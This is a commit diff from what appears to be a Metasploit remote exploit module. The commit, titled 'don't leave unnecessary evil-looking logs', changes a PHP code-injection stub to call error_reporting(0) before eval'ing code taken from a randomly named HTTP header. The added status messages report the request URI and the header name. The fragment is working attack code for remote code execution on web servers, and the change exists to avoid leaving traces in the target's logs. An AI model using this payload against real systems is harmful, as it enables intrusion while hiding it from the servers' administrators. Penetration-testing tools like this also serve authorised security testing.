don't leave unnecessary evil-looking logs
git-svn-id: file:///home/svn/framework3/trunk@12604 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c7439f5ba1
commit
486c0556d0
|
@ -74,9 +74,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
timeout = 0.01
|
||||
|
||||
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
|
||||
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
||||
stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
||||
|
||||
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
|
||||
print_status("Sending request for: #{uri}")
|
||||
print_status("Payload will be in a header called #{headername}")
|
||||
|
||||
response = send_request_raw({
|
||||
'global' => true,
|
||||
'uri' => uri,
|
||||
|
|
Loading…
Reference in New Issue